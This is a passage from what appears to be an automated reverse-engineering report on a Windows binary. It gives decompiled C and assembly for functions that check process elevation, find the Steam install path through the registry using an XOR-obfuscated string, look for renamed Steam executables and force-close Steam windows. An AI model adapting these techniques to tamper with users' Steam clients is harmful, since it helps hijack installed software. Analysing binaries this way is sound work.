  BVar1 = GetTokenInformation(local_res18[0],TokenElevation,local_res10,4,local_res8);
  if ((BVar1 != 0) && (local_res10[0] != 0)) {
    uVar2 = 1;
  }
  CloseHandle(local_res18[0]);
  return uVar2;
}

Assembly · 33 instructions, 0 annotated
AddressBytesInstructionComment
140005e8040 53PUSH RBX
140005e8248 83 ec 30SUB RSP,0x30
140005e8633 dbXOR EBX,EBX
140005e8848 89 5c 24 50MOV qword ptr [RSP + local_res18],RBX
140005e8dff 15 45 93 01 00CALL qword ptr [PTR_GetCurrentProcess_14001f1d8]
140005e934c 8d 44 24 50LEA R8,[RSP + 0x50]
140005e98ba 08 00 00 00MOV EDX,0x8
140005e9d48 8b c8MOV RCX,RAX
140005ea0ff 15 b2 91 01 00CALL qword ptr [PTR_OpenProcessToken_14001f058]
140005ea685 c0TEST EAX,EAX
140005ea875 06JNZ LAB_140005eb0
140005eaa48 83 c4 30ADD RSP,0x30
140005eae5bPOP RBX
140005eafc3RET
LAB_140005eb0:
140005eb048 8b 4c 24 50MOV RCX,qword ptr [RSP + local_res18]
140005eb548 8d 44 24 40LEA RAX,[RSP + 0x40]
140005eba41 b9 04 00 00 00MOV R9D,0x4
140005ec048 89 44 24 20MOV qword ptr [RSP + local_18],RAX
140005ec54c 8d 44 24 48LEA R8,[RSP + 0x48]
140005ecac7 44 24 40 04 00 00 00MOV dword ptr [RSP + local_res8],0x4
140005ed2ba 14 00 00 00MOV EDX,0x14
140005ed7ff 15 9b 91 01 00CALL qword ptr [PTR_GetTokenInformation_14001f078]
140005edd85 c0TEST EAX,EAX
140005edf74 0bJZ LAB_140005eec
140005ee139 5c 24 48CMP dword ptr [RSP + local_res10],EBX
140005ee574 05JZ LAB_140005eec
140005ee7bb 01 00 00 00MOV EBX,0x1
LAB_140005eec:
140005eec48 8b 4c 24 50MOV RCX,qword ptr [RSP + local_res18]
140005ef1ff 15 71 93 01 00CALL qword ptr [PTR_CloseHandle_14001f268]
140005ef78b c3MOV EAX,EBX
140005ef948 83 c4 30ADD RSP,0x30
140005efd5bPOP RBX
140005efec3RET

reads per-user uninstall registry…

0x140005f00346 bytes
undefined FUN_140005f00(HKEY param_1, LPCWSTR param_2, LPWSTR param_3)

reads per-user uninstall registry entries to find the Steam executable path

Cited as
E3
Behaviours
B2
Called from
FUN_140006170
Calls
PathAppendW RegCloseKey RegOpenKeyExW RegQueryValueExW GetFullPathNameW __security_check_cookie
Decompiled C · 44 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005f00(HKEY param_1,LPCWSTR param_2,LPWSTR param_3)

{
  LSTATUS LVar1;
  WCHAR *pWVar2;
  undefined1 auStackY_268 [32];
  DWORD local_238;
  DWORD local_234;
  HKEY local_230;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_268;
  LVar1 = RegOpenKeyExW(param_1,param_2,0,0x20019,&local_230);
  if (LVar1 == 0) {
    local_238 = 0x208;
    local_234 = 0;
    LVar1 = RegQueryValueExW(local_230,L"SteamExe",(LPDWORD)0x0,&local_234,(LPBYTE)local_228,
                             &local_238);
    if (((LVar1 != 0) || (local_234 != 1)) || (local_228[0] == L'\0')) {
      local_238 = 0x208;
      LVar1 = RegQueryValueExW(local_230,L"SteamPath",(LPDWORD)0x0,&local_234,(LPBYTE)local_228,
                               &local_238);
      if ((LVar1 != 0) || (local_228[0] == L'\0')) {
        RegCloseKey(local_230);
      }
      pWVar2 = local_228;
      do {
        if (local_228[0] == L'/') {
          *pWVar2 = L'\\';
        }
        local_228[0] = pWVar2[1];
        pWVar2 = pWVar2 + 1;
      } while (local_228[0] != L'\0');
      PathAppendW(local_228,L"steam.exe");
    }
    RegCloseKey(local_230);
    GetFullPathNameW(local_228,0x104,param_3,(LPWSTR *)0x0);
  }
}

Assembly · 78 instructions, 3 annotated
AddressBytesInstructionComment
140005f0040 57PUSH RDI
140005f0248 81 ec 60 02 00 00SUB RSP,0x260
140005f0948 8b 05 30 81 02 00MOV RAX,qword ptr [DAT_14002e040]
140005f1048 33 c4XOR RAX,RSP
140005f1348 89 84 24 50 02 00 00MOV qword ptr [RSP + local_18],RAX
140005f1b49 8b f8MOV RDI,R8
140005f1e48 8d 44 24 38LEA RAX,[RSP + 0x38]
140005f2345 33 c0XOR R8D,R8D
140005f2648 89 44 24 20MOV qword ptr [RSP + local_248],RAX
140005f2b41 b9 19 00 02 00MOV R9D,0x20019
140005f31ff 15 29 91 01 00CALL qword ptr [PTR_RegOpenKeyExW_14001f060]
140005f3785 c0TEST EAX,EAX
140005f3974 07JZ LAB_140005f42
140005f3b33 c0XOR EAX,EAX
140005f3de9 08 01 00 00JMP LAB_14000604a
LAB_140005f42:
140005f4248 8b 4c 24 38MOV RCX,qword ptr [RSP + local_230]
140005f4748 8d 44 24 30LEA RAX,[RSP + 0x30]
140005f4c48 89 44 24 28MOV qword ptr [RSP + local_240],RAX
140005f514c 8d 4c 24 34LEA R9,[RSP + 0x34]
140005f5648 8d 44 24 40LEA RAX,[RSP + 0x40]
LAB_140005f5b:
140005f5b48 89 9c 24 88 02 00 00MOV qword ptr [RSP + local_res20],RBX
140005f6333 dbXOR EBX,EBX
140005f6548 89 44 24 20MOV qword ptr [RSP + local_248],RAX
140005f6a45 33 c0XOR R8D,R8D
140005f6dc7 44 24 30 08 02 00 00MOV dword ptr [RSP + local_238],0x208
140005f7548 8d 15 6c 3a 02 00LEA RDX,[u_SteamExe_1400299e8]; "SteamExe"
140005f7c89 5c 24 34MOV dword ptr [RSP + local_234],EBX
140005f80ff 15 ea 90 01 00CALL qword ptr [PTR_RegQueryValueExW_14001f070]
140005f8685 c0TEST EAX,EAX
140005f8875 0eJNZ LAB_140005f98
140005f8a83 7c 24 34 01CMP dword ptr [RSP + local_234],0x1
140005f8f75 07JNZ LAB_140005f98
140005f9166 39 5c 24 40CMP word ptr [RSP + local_228],BX
140005f9675 73JNZ LAB_14000600b
LAB_140005f98:
140005f9848 8b 4c 24 38MOV RCX,qword ptr [RSP + local_230]
140005f9d48 8d 44 24 30LEA RAX,[RSP + 0x30]
140005fa248 89 44 24 28MOV qword ptr [RSP + local_240],RAX
140005fa74c 8d 4c 24 34LEA R9,[RSP + 0x34]
140005fac48 8d 44 24 40LEA RAX,[RSP + 0x40]
140005fb1c7 44 24 30 08 02 00 00MOV dword ptr [RSP + local_238],0x208
140005fb945 33 c0XOR R8D,R8D
140005fbc48 89 44 24 20MOV qword ptr [RSP + local_248],RAX
140005fc148 8d 15 38 3a 02 00LEA RDX,[u_SteamPath_140029a00]; "SteamPath"
140005fc8ff 15 a2 90 01 00CALL qword ptr [PTR_RegQueryValueExW_14001f070]
140005fce85 c0TEST EAX,EAX
140005fd075 63JNZ LAB_140006035
140005fd20f b7 4c 24 40MOVZX ECX,word ptr [RSP + local_228]
140005fd766 85 c9TEST CX,CX
140005fda74 59JZ LAB_140006035
140005fdc48 8d 44 24 40LEA RAX,[RSP + 0x40]
LAB_140005fe1:
140005fe166 83 f9 2fCMP CX,0x2f
140005fe575 05JNZ LAB_140005fec
140005fe766 c7 00 5c 00MOV word ptr [RAX],0x5c
LAB_140005fec:
140005fec0f b7 48 02MOVZX ECX,word ptr [RAX + local_226]
140005ff048 83 c0 02ADD RAX,0x2
140005ff466 85 c9TEST CX,CX
140005ff775 e8JNZ LAB_140005fe1
140005ff948 8d 15 18 3a 02 00LEA RDX,[u_steam.exe_140029a18]; "steam.exe"
14000600048 8d 4c 24 40LEA RCX,[RSP + 0x40]
140006005ff 15 f5 93 01 00CALL qword ptr [PTR_PathAppendW_14001f400]
LAB_14000600b:
14000600b48 8b 4c 24 38MOV RCX,qword ptr [RSP + local_230]
140006010ff 15 12 90 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
14000601645 33 c9XOR R9D,R9D
14000601948 8d 4c 24 40LEA RCX,[RSP + 0x40]
14000601e4c 8b c7MOV R8,RDI
140006021ba 04 01 00 00MOV EDX,0x104
140006026ff 15 9c 91 01 00CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
14000602c85 c0TEST EAX,EAX
14000602e0f 95 c3SETNZ BL
1400060318b c3MOV EAX,EBX
140006033eb 0dJMP LAB_140006042
LAB_140006035:
14000603548 8b 4c 24 38MOV RCX,qword ptr [RSP + local_230]
14000603aff 15 e8 8f 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
14000604033 c0XOR EAX,EAX
LAB_140006042:
14000604248 8b 9c 24 88 02 00 00MOV RBX,qword ptr [RSP + local_res20]
LAB_14000604a:
14000604a48 8b 8c 24 50 02 00 00MOV RCX,qword ptr [RSP + local_18]
14000605248 33 ccXOR RCX,RSP
140006055e8 d6 28 00 00CALL __security_check_cookie

resolves the Steam install path by…

0x140006170806 bytes
undefined FUN_140006170(LPWSTR param_1)

resolves the Steam install path by querying HKLM\SOFTWARE\WOW6432Node\Valve\Steam and user-specific registry keys

Cited as
E2
Behaviours
B2
Called from
FUN_140007950, FUN_140008650
Calls
RegCloseKey RegOpenKeyExW RegQueryValueExW GetFullPathNameW ExpandEnvironmentStringsW GetFileAttributesW FUN_140005f00, FUN_140006070, __security_check_cookie, FUN_140009ae0, FUN_1400112c4
Decompiled C · 110 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140006170(LPWSTR param_1)

{
  LSTATUS LVar1;
  DWORD DVar2;
  int iVar3;
  undefined1 (*pauVar4) [16];
  ulonglong uVar5;
  undefined **ppuVar6;
  undefined **ppuVar7;
  undefined1 auStackY_908 [32];
  DWORD local_8d8 [2];
  HKEY local_8d0;
  uint local_8c8;
  uint uStack_8c4;
  uint uStack_8c0;
  uint uStack_8bc;
  uint local_8b8;
  uint uStack_8b4;
  uint uStack_8b0;
  uint uStack_8ac;
  ushort auStack_8a8 [4];
  undefined2 local_8a0;
  WCHAR local_868 [264];
  WCHAR local_658 [264];
  WCHAR local_448 [264];
  WCHAR local_238 [264];
  ulonglong local_28;
  
  local_28 = DAT_14002e040 ^ (ulonglong)auStackY_908;
  local_8c8 = _DAT_14002a510 ^ _DAT_14002a3f0;
  uStack_8c4 = _UNK_14002a514 ^ _UNK_14002a3f4;
  uStack_8c0 = _UNK_14002a518 ^ _UNK_14002a3f8;
  uStack_8bc = _UNK_14002a51c ^ _UNK_14002a3fc;
  uVar5 = 0x20;
  local_8b8 = _DAT_14002a510 ^ _DAT_14002a400;
  uStack_8b4 = _UNK_14002a514 ^ _UNK_14002a404;
  uStack_8b0 = _UNK_14002a518 ^ _UNK_14002a408;
  uStack_8ac = _UNK_14002a51c ^ _UNK_14002a40c;
  do {
    *(ushort *)((longlong)&local_8c8 + uVar5) = *(ushort *)(&DAT_14002a3f0 + uVar5) ^ 0x5a5a;
    uVar5 = uVar5 + 2;
  } while (uVar5 < 0x28);
  local_8a0 = 0;
  FUN_1400112c4(local_238,0x104,(longlong)&local_8c8,-1);
  ppuVar7 = &PTR_u_SOFTWARE_WOW6432Node_Valve_Steam_14002a350;
  ppuVar6 = &PTR_u_SOFTWARE_WOW6432Node_Valve_Steam_14002a350;
  do {
    local_8d8[0] = 0x208;
    local_8d8[1] = 0;
    LVar1 = RegOpenKeyExW((HKEY)0xffffffff80000002,(LPCWSTR)*ppuVar6,0,0x20019,&local_8d0);
    if (LVar1 == 0) {
      LVar1 = RegQueryValueExW(local_8d0,L"InstallPath",(LPDWORD)0x0,local_8d8 + 1,(LPBYTE)local_448
                               ,local_8d8);
      if ((LVar1 == 0) && (local_448[0] != L'\0')) {
        RegCloseKey(local_8d0);
        DVar2 = GetFullPathNameW(local_448,0x104,local_658,(LPWSTR *)0x0);
        if ((DVar2 != 0) && (iVar3 = FUN_140006070(local_658,param_1), iVar3 != 0)) {
        }
      }
      else {
        RegCloseKey(local_8d0);
      }
    }
    ppuVar6 = ppuVar6 + 1;
  } while ((longlong)ppuVar6 < 0x14002a360);
  iVar3 = FUN_140005f00((HKEY)0xffffffff80000001,local_238,local_868);
  if ((((iVar3 == 0) ||
       (pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,(undefined1 (*) [16])L"\\SteamUI\\"),
       pauVar4 != (undefined1 (*) [16])0x0)) ||
      (pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                               (undefined1 (*) [16])L"\\steam.orig.exe"),
      pauVar4 != (undefined1 (*) [16])0x0)) ||
     (((pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                                (undefined1 (*) [16])L"\\steam.live.exe"),
       pauVar4 != (undefined1 (*) [16])0x0 || (local_868[0] == L'\0')) ||
      (DVar2 = GetFileAttributesW(local_868), DVar2 == 0xffffffff)))) {
    do {
      iVar3 = FUN_140005f00((HKEY)0xffffffff80000002,(LPCWSTR)*ppuVar7,local_868);
      if (((iVar3 != 0) &&
          (pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                                   (undefined1 (*) [16])L"\\SteamUI\\"),
          pauVar4 == (undefined1 (*) [16])0x0)) &&
         ((pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                                   (undefined1 (*) [16])L"\\steam.orig.exe"),
          pauVar4 == (undefined1 (*) [16])0x0 &&
          (((pauVar4 = FUN_140009ae0((undefined1 (*) [16])local_868,
                                     (undefined1 (*) [16])L"\\steam.live.exe"),
            pauVar4 == (undefined1 (*) [16])0x0 && (local_868[0] != L'\0')) &&
           (DVar2 = GetFileAttributesW(local_868), DVar2 != 0xffffffff)))))) goto LAB_140006491;
      ppuVar7 = ppuVar7 + 1;
    } while ((longlong)ppuVar7 < 0x14002a360);
    ExpandEnvironmentStringsW(L"%ProgramFiles(x86)%\\Steam",local_658,0x104);
    iVar3 = FUN_140006070(local_658,param_1);
    if (iVar3 != 0) {
    }
    ExpandEnvironmentStringsW(L"%ProgramFiles%\\Steam",local_658,0x104);
    iVar3 = FUN_140006070(local_658,param_1);
    if (iVar3 != 0) {
    }
    ExpandEnvironmentStringsW(L"%ProgramFiles(x86)%\\Steam\\steam.exe",local_868,0x104);
  }
LAB_140006491:
  GetFullPathNameW(local_868,0x104,param_1,(LPWSTR *)0x0);
}

Assembly · 174 instructions, 20 annotated
AddressBytesInstructionComment
14000617048 89 5c 24 10MOV qword ptr [RSP + local_res10],RBX
14000617548 89 74 24 18MOV qword ptr [RSP + local_res18],RSI
14000617a48 89 7c 24 20MOV qword ptr [RSP + local_res20],RDI
14000617f55PUSH RBP
14000618041 56PUSH R14
14000618241 57PUSH R15
14000618448 8d ac 24 10 f8 ff ffLEA RBP,[RSP + -0x7f0]
14000618c48 81 ec f0 08 00 00SUB RSP,0x8f0
14000619348 8b 05 a6 7e 02 00MOV RAX,qword ptr [DAT_14002e040]
14000619a48 33 c4XOR RAX,RSP
14000619d48 89 85 e0 07 00 00MOV qword ptr [RBP + local_28],RAX
1400061a466 0f 6f 0d 64 43 02 00MOVDQA XMM1,xmmword ptr [DAT_14002a510]
1400061ac48 8d 15 3d 42 02 00LEA RDX,[DAT_14002a3f0]
1400061b366 0f 6f c1MOVDQA XMM0,XMM1
1400061b74c 8b f1MOV R14,RCX
1400061ba0f 57 05 2f 42 02 00XORPS XMM0,xmmword ptr [DAT_14002a3f0]
1400061c1b9 20 00 00 00MOV ECX,0x20
1400061c60f 57 0d 33 42 02 00XORPS XMM1,xmmword ptr [DAT_14002a400]
1400061cdf3 0f 7f 44 24 40MOVDQU xmmword ptr [RSP + local_8c8[0]],XMM0
1400061d3f3 0f 7f 4c 24 50MOVDQU xmmword ptr [RSP + local_8b8[0]],XMM1
1400061d90f 1f 80 00 00 00 00NOP dword ptr [RAX]
LAB_1400061e0:
1400061e0b8 5a 5a 00 00MOV EAX,0x5a5a
1400061e566 33 04 11XOR AX,word ptr [RCX + RDX*0x1]; "?Z;Z7Z"
1400061e966 89 44 0c 40MOV word ptr [RSP + RCX*0x1 + 0x40],AX
1400061ee48 83 c1 02ADD RCX,0x2
1400061f248 83 f9 28CMP RCX,0x28
1400061f672 e8JC LAB_1400061e0
1400061f833 f6XOR ESI,ESI
1400061fa4c 8d 44 24 40LEA R8,[RSP + 0x40]
1400061ff49 c7 c1 ff ff ff ffMOV R9,-0x1
14000620666 89 74 24 68MOV word ptr [RSP + local_8a0],SI
14000620bba 04 01 00 00MOV EDX,0x104
14000621048 8d 8d d0 05 00 00LEA RCX,[RBP + 0x5d0]
140006217e8 a8 b0 00 00CALL FUN_1400112c4; FUN_1400112c4: GetLastError, SetLastError
14000621c48 8d 3d 2d 41 02 00LEA RDI,[PTR_u_SOFTWARE\WOW6432Node\Valve\Steam_14002a350]
14000622348 8b dfMOV RBX,RDI
1400062264c 8d 3d 33 41 02 00LEA R15,[s_zXARq^[R`_14002a360]; "zXARq^[R`"
14000622d0f 1f 00NOP dword ptr [RAX]
LAB_140006230:
14000623048 8b 13MOV RDX,qword ptr [RBX]; "SOFTWARE\\WOW6432Node\\Valve\\Steam"
14000623348 8d 44 24 38LEA RAX,[RSP + 0x38]
14000623841 b9 19 00 02 00MOV R9D,0x20019
14000623e48 89 44 24 20MOV qword ptr [RSP + local_8e8],RAX
14000624345 33 c0XOR R8D,R8D
140006246c7 44 24 30 08 02 00 00MOV dword ptr [RSP + local_8d8],0x208
14000624e48 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
14000625589 74 24 34MOV dword ptr [RSP + local_8d4],ESI
140006259ff 15 01 8e 01 00CALL qword ptr [PTR_RegOpenKeyExW_14001f060]
14000625f85 c0TEST EAX,EAX
1400062610f 85 b7 00 00 00JNZ LAB_14000631e
14000626748 8b 4c 24 38MOV RCX,qword ptr [RSP + local_8d0]
14000626c48 8d 44 24 30LEA RAX,[RSP + 0x30]
14000627148 89 44 24 28MOV qword ptr [RSP + local_8e0],RAX
1400062764c 8d 4c 24 34LEA R9,[RSP + 0x34]
14000627b48 8d 85 c0 03 00 00LEA RAX,[RBP + 0x3c0]
14000628245 33 c0XOR R8D,R8D
14000628548 8d 15 44 37 02 00LEA RDX,[u_InstallPath_1400299d0]; "InstallPath"
14000628c48 89 44 24 20MOV qword ptr [RSP + local_8e8],RAX
140006291ff 15 d9 8d 01 00CALL qword ptr [PTR_RegQueryValueExW_14001f070]
14000629785 c0TEST EAX,EAX
14000629975 78JNZ LAB_140006313
14000629b66 39 b5 c0 03 00 00CMP word ptr [RBP + local_448],SI
1400062a274 6fJZ LAB_140006313
1400062a448 8b 4c 24 38MOV RCX,qword ptr [RSP + local_8d0]
1400062a9ff 15 79 8d 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
1400062af45 33 c9XOR R9D,R9D
1400062b24c 8d 85 b0 01 00 00LEA R8,[RBP + 0x1b0]
1400062b9ba 04 01 00 00MOV EDX,0x104
1400062be48 8d 8d c0 03 00 00LEA RCX,[RBP + 0x3c0]
1400062c5ff 15 fd 8e 01 00CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
1400062cb85 c0TEST EAX,EAX
1400062cd74 4fJZ LAB_14000631e
1400062cf49 8b d6MOV RDX,R14
1400062d248 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
1400062d9e8 92 fd ff ffCALL FUN_140006070; FUN_140006070: GetFileAttributesW, GetFullPathNameW
1400062de85 c0TEST EAX,EAX
1400062e074 3cJZ LAB_14000631e
LAB_1400062e2:
1400062e2b8 01 00 00 00MOV EAX,0x1
LAB_1400062e7:
1400062e748 8b 8d e0 07 00 00MOV RCX,qword ptr [RBP + local_28]
1400062ee48 33 ccXOR RCX,RSP
1400062f1e8 3a 26 00 00CALL __security_check_cookie
LAB_140006313:
14000631348 8b 4c 24 38MOV RCX,qword ptr [RSP + local_8d0]
140006318ff 15 0a 8d 01 00CALL qword ptr [PTR_RegCloseKey_14001f028]
LAB_14000631e:
14000631e48 83 c3 08ADD RBX,0x8
14000632249 3b dfCMP RBX,R15
1400063250f 8c 05 ff ff ffJL LAB_140006230
14000632b4c 8d 45 a0LEA R8,[RBP + -0x60]
14000632f48 c7 c1 01 00 00 80MOV RCX,-0x7fffffff
14000633648 8d 95 d0 05 00 00LEA RDX,[RBP + 0x5d0]
14000633de8 be fb ff ffCALL FUN_140005f00; FUN_140005f00: RegOpenKeyExW, RegQueryValueExW, PathAppendW, RegCloseKey +1
14000634285 c0TEST EAX,EAX
14000634474 5aJZ LAB_1400063a0
14000634648 8d 15 e3 36 02 00LEA RDX,[u_\SteamUI\_140029a30]; "\\SteamUI\\"
14000634d48 8d 4d a0LEA RCX,[RBP + -0x60]
140006351e8 8a 37 00 00CALL FUN_140009ae0
14000635648 85 c0TEST RAX,RAX
14000635975 45JNZ LAB_1400063a0
14000635b48 8d 15 e6 36 02 00LEA RDX,[u_\steam.orig.exe_140029a48]; "\\steam.orig.exe"
14000636248 8d 4d a0LEA RCX,[RBP + -0x60]
140006366e8 75 37 00 00CALL FUN_140009ae0
14000636b48 85 c0TEST RAX,RAX
14000636e75 30JNZ LAB_1400063a0
14000637048 8d 15 f1 36 02 00LEA RDX,[u_\steam.live.exe_140029a68]; "\\steam.live.exe"
14000637748 8d 4d a0LEA RCX,[RBP + -0x60]
14000637be8 60 37 00 00CALL FUN_140009ae0
14000638048 85 c0TEST RAX,RAX
14000638375 1bJNZ LAB_1400063a0
14000638566 39 75 a0CMP word ptr [RBP + local_868],SI
14000638974 15JZ LAB_1400063a0
14000638b48 8d 4d a0LEA RCX,[RBP + -0x60]
14000638fff 15 83 8e 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
14000639583 f8 ffCMP EAX,-0x1
1400063980f 85 f3 00 00 00JNZ LAB_140006491
14000639e66 90NOP
LAB_1400063a0:
1400063a048 8b 17MOV RDX,qword ptr [RDI]; "SOFTWARE\\WOW6432Node\\Valve\\Steam"
1400063a34c 8d 45 a0LEA R8,[RBP + -0x60]
1400063a748 c7 c1 02 00 00 80MOV RCX,-0x7ffffffe
1400063aee8 4d fb ff ffCALL FUN_140005f00; FUN_140005f00: RegOpenKeyExW, RegQueryValueExW, PathAppendW, RegCloseKey +1
1400063b385 c0TEST EAX,EAX
1400063b574 58JZ LAB_14000640f
1400063b748 8d 15 72 36 02 00LEA RDX,[u_\SteamUI\_140029a30]; "\\SteamUI\\"
1400063be48 8d 4d a0LEA RCX,[RBP + -0x60]
1400063c2e8 19 37 00 00CALL FUN_140009ae0
1400063c748 85 c0TEST RAX,RAX
1400063ca75 43JNZ LAB_14000640f
1400063cc48 8d 15 75 36 02 00LEA RDX,[u_\steam.orig.exe_140029a48]; "\\steam.orig.exe"
1400063d348 8d 4d a0LEA RCX,[RBP + -0x60]
1400063d7e8 04 37 00 00CALL FUN_140009ae0
1400063dc48 85 c0TEST RAX,RAX
1400063df75 2eJNZ LAB_14000640f
1400063e148 8d 15 80 36 02 00LEA RDX,[u_\steam.live.exe_140029a68]; "\\steam.live.exe"
1400063e848 8d 4d a0LEA RCX,[RBP + -0x60]
1400063ece8 ef 36 00 00CALL FUN_140009ae0
1400063f148 85 c0TEST RAX,RAX
1400063f475 19JNZ LAB_14000640f
1400063f666 39 75 a0CMP word ptr [RBP + local_868],SI
1400063fa74 13JZ LAB_14000640f
1400063fc48 8d 4d a0LEA RCX,[RBP + -0x60]
140006400ff 15 12 8e 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
14000640683 f8 ffCMP EAX,-0x1
1400064090f 85 82 00 00 00JNZ LAB_140006491
LAB_14000640f:
14000640f48 83 c7 08ADD RDI,0x8
14000641349 3b ffCMP RDI,R15
1400064167c 88JL LAB_1400063a0
14000641841 b8 04 01 00 00MOV R8D,0x104
14000641e48 8d 95 b0 01 00 00LEA RDX,[RBP + 0x1b0]
14000642548 8d 0d 1c 37 02 00LEA RCX,[u_%ProgramFiles(x86)%\Steam_140029b48]; "%ProgramFiles(x86)%\\Steam"
14000642cff 15 ae 8d 01 00CALL qword ptr [PTR_ExpandEnvironmentStringsW_14001f1e0]
14000643249 8b d6MOV RDX,R14
14000643548 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
14000643ce8 2f fc ff ffCALL FUN_140006070; FUN_140006070: GetFileAttributesW, GetFullPathNameW
14000644185 c0TEST EAX,EAX
1400064430f 85 99 fe ff ffJNZ LAB_1400062e2
14000644941 b8 04 01 00 00MOV R8D,0x104
14000644f48 8d 95 b0 01 00 00LEA RDX,[RBP + 0x1b0]
14000645648 8d 0d 23 37 02 00LEA RCX,[u_%ProgramFiles%\Steam_140029b80]; "%ProgramFiles%\\Steam"
14000645dff 15 7d 8d 01 00CALL qword ptr [PTR_ExpandEnvironmentStringsW_14001f1e0]
14000646349 8b d6MOV RDX,R14
14000646648 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
14000646de8 fe fb ff ffCALL FUN_140006070; FUN_140006070: GetFileAttributesW, GetFullPathNameW
14000647285 c0TEST EAX,EAX
1400064740f 85 68 fe ff ffJNZ LAB_1400062e2
14000647a41 b8 04 01 00 00MOV R8D,0x104
14000648048 8d 55 a0LEA RDX,[RBP + -0x60]
14000648448 8d 0d 25 37 02 00LEA RCX,[u_%ProgramFiles(x86)%\Steam\steam._140029bb0]; "%ProgramFiles(x86)%\\Steam\\steam.exe"
14000648bff 15 4f 8d 01 00CALL qword ptr [PTR_ExpandEnvironmentStringsW_14001f1e0]
LAB_140006491:
14000649145 33 c9XOR R9D,R9D
14000649448 8d 4d a0LEA RCX,[RBP + -0x60]
1400064984d 8b c6MOV R8,R14
14000649bba 04 01 00 00MOV EDX,0x104
1400064a0ff 15 22 8d 01 00CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
1400064a685 c0TEST EAX,EAX
1400064a840 0f 95 c6SETNZ SIL
1400064ac8b c6MOV EAX,ESI
1400064aee9 34 fe ff ffJMP LAB_1400062e7

enumerates processes via…

0x1400064c0651 bytes
undefined FUN_1400064c0(int param_1, undefined4 * param_2)

enumerates processes via CreateToolhelp32Snapshot and sends WM_CLOSE to matching windows

Cited as
E5
Behaviours
B4
Called from
FUN_140007950
Calls
FindWindowExW PostMessageW GetWindowThreadProcessId CreateToolhelp32Snapshot Process32NextW Process32FirstW CloseHandle GetCurrentProcessId __security_check_cookie, FID_conflict:_wcsicoll, FUN_14001db40
Decompiled C · 79 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_1400064c0(int param_1,undefined4 *param_2)

{
  int iVar1;
  DWORD DVar2;
  HANDLE hObject;
  HWND hWnd;
  undefined4 uVar3;
  undefined1 auStack_298 [32];
  DWORD local_278 [4];
  undefined4 local_268;
  undefined1 local_264 [4];
  DWORD local_260;
  wchar_t local_23c [266];
  ulonglong local_28;
  
  local_28 = DAT_14002e040 ^ (ulonglong)auStack_298;
  uVar3 = 0;
  hObject = (HANDLE)CreateToolhelp32Snapshot(2);
  if (hObject == (HANDLE)0xffffffffffffffff) {
    if (param_2 != (undefined4 *)0x0) {
      *param_2 = 0;
    }
  }
  else {
    FUN_14001db40((undefined1 (*) [32])local_264,0,0x234);
    local_268 = 0x238;
    iVar1 = Process32FirstW(hObject,&local_268);
    while (iVar1 != 0) {
      DVar2 = GetCurrentProcessId();
      if (local_260 != DVar2) {
        iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.exe");
        if (param_1 == 0) {
          if ((iVar1 != 0) &&
             (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.orig.exe"), iVar1 != 0)) {
            iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.live.exe");
            goto joined_r0x000140006651;
          }
        }
        else if (((((iVar1 != 0) &&
                   (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.orig.exe"), iVar1 != 0)) &&
                  (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.live.exe"), iVar1 != 0)) &&
                 ((iVar1 = FID_conflict__wcsicoll(local_23c,L"steamwebhelper.exe"), iVar1 != 0 &&
                  (iVar1 = FID_conflict__wcsicoll(local_23c,L"steamservice.exe"), iVar1 != 0)))) &&
                ((iVar1 = FID_conflict__wcsicoll(local_23c,L"GameOverlayUI.exe"), iVar1 != 0 &&
                 (iVar1 = FID_conflict__wcsicoll(local_23c,L"steamerrorreporter.exe"), iVar1 != 0)))
                ) {
          iVar1 = FID_conflict__wcsicoll(local_23c,L"SteamService.exe");
joined_r0x000140006651:
          if (iVar1 != 0) goto LAB_14000670a;
        }
        iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.exe");
        if ((((iVar1 == 0) ||
             (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.orig.exe"), iVar1 == 0)) ||
            (iVar1 = FID_conflict__wcsicoll(local_23c,L"steam.live.exe"), iVar1 == 0)) &&
           (uVar3 = 1, param_1 != 0)) {
          for (hWnd = FindWindowExW((HWND)0x0,(HWND)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0);
              hWnd != (HWND)0x0; hWnd = FindWindowExW((HWND)0x0,hWnd,(LPCWSTR)0x0,(LPCWSTR)0x0)) {
            local_278[0] = 0;
            GetWindowThreadProcessId(hWnd,local_278);
            if (local_278[0] == local_260) {
              PostMessageW(hWnd,0x10,0,0);
            }
          }
        }
      }
LAB_14000670a:
      iVar1 = Process32NextW(hObject,&local_268);
    }
    CloseHandle(hObject);
    if (param_2 != (undefined4 *)0x0) {
      *param_2 = uVar3;
    }
  }
}

Assembly · 155 instructions, 13 annotated
AddressBytesInstructionComment
1400064c048 89 6c 24 18MOV qword ptr [RSP + local_res18],RBP
1400064c548 89 74 24 20MOV qword ptr [RSP + local_res20],RSI
1400064ca57PUSH RDI
1400064cb41 56PUSH R14
1400064cd41 57PUSH R15
1400064cf48 81 ec 80 02 00 00SUB RSP,0x280
